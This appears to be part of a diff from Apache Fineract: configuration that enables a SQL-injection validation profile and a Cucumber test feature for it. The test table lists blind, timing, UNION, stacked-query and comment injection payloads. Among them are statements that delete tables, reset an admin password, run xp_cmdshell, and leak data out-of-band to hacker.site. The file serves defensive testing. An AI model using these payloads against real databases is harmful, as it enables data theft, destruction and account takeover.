fineract.sql-validation.profiles[2].name=dynamic
fineract.sql-validation.profiles[2].description=Dynamic Query Validation Profile
fineract.sql-validation.profiles[2].patternRefs[0].name=inject-blind
fineract.sql-validation.profiles[2].patternRefs[0].order=0
fineract.sql-validation.profiles[2].patternRefs[1].name=detect-entry-point
fineract.sql-validation.profiles[2].patternRefs[1].order=1
fineract.sql-validation.profiles[2].patternRefs[2].name=inject-timing
fineract.sql-validation.profiles[2].patternRefs[2].order=2
fineract.sql-validation.profiles[2].patternRefs[3].name=detect-backend
fineract.sql-validation.profiles[2].patternRefs[3].order=3
fineract.sql-validation.profiles[2].patternRefs[4].name=detect-column
fineract.sql-validation.profiles[2].patternRefs[4].order=4
fineract.sql-validation.profiles[2].patternRefs[5].name=detect-out-of-bands
fineract.sql-validation.profiles[2].patternRefs[5].order=5
fineract.sql-validation.profiles[2].patternRefs[6].name=inject-stacked-query
fineract.sql-validation.profiles[2].patternRefs[6].order=6
fineract.sql-validation.profiles[2].patternRefs[7].name=inject-comment
fineract.sql-validation.profiles[2].patternRefs[7].order=7
fineract.sql-validation.profiles[2].enabled=true
management.health.jms.enabled=false management.health.jms.enabled=false
# FINERACT 1296 # FINERACT 1296
@@ -0,0 +1,108 @@
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
#
Feature: Security Utils SQL validator
@security
Scenario Outline: Verify that detects all configured SQL injection patterns
Given A partial SQL statement <statement> with whitespaces fuzzy degree <fuzzy>
When Validating the partial statement
Then The validator had exception message <exception>
Examples:
| statement | fuzzy | exception |
| or 'a' = 'a' | 36 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| ' or 'a' = 'a' | 12 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| or 'a' = 'a' -- | 27 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| or 'a' = 'a' /* | 17 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| abc' Or 'a' = 'a' /* | 19 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| OR 1 = 1 | 36 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| ' or 1 = 1 | 17 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| or 1 = 1 ----- | 57 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| or 1 = 1 /* | 11 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| 123 | 0 | |
| 2.59 | 0 | |
| abc123xyz | 0 | |
| true | 0 | |
| [2024, 4, 21] | 7 | |
| ["abc", "def", "ghi", "jkl", "mno"] | 7 | |
| ') | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| ')) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| '))) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| `) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| `) ) | 19 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| `))) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| `) )))) ))))) ))) )) | 23 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| ") | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| ")) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| "))) | 19 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| 1' + sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| 1' and Sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| 1' && sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| 1' \| SLEEP(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| 1' \|\| sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| 1' \|\| pg_sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| abc' && benchmark( 400000 , sha1(1) ) | 17 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| 1' and if(1=1, sleep(15), false) | 19 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A') # | 19 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
| ["connection_id()=connection_id()" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
| ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
| ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
| ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
| ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| ["current_database()=current_database()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
| 1' ORDER by 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' ORDER BY 1, 2 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' ORDER BY 1, 2, 3 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' group by 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| abc' group by 1, 2 -- | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' group by 1, 2, 3 /* | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' Union Select 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' Union Select 1, 2 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' Union Select 1, 2, 3 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' Union Select null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' union select null, null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' UNION SELECT null, null, null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| checkedOnDate | 23 | |
| officeName | 23 | |
| resourceId | 23 | |
| clientId | 23 | |
| processingResult | 23 | |
| clientName | 23 | |
| maker | 23 | |
| subresourceId | 23 | |
| checker | 23 | |
| savingsAccountNo | 23 | |
| loanAccountNo | 23 | |
| groupName | 23 | |
| entityName | 23 | |
| madeOnDate | 23 | |
| id | 23 | |
| loanId | 23 | |
| actionName | 23 | |
| select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); | 17 | SQL validation error: invalid SQL statement (detected 'detect-out-of-bands' pattern) |
| 1; DELETE FROM products | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
| 1; UPDATE members SET password='pwd' WHERE username='admin' | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
| 1; exec master..xp_cmdshell 'DEL important_file.txt' | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
| 123 -- | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
| ' /* | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
| abc' # | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
| 2 ({ | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |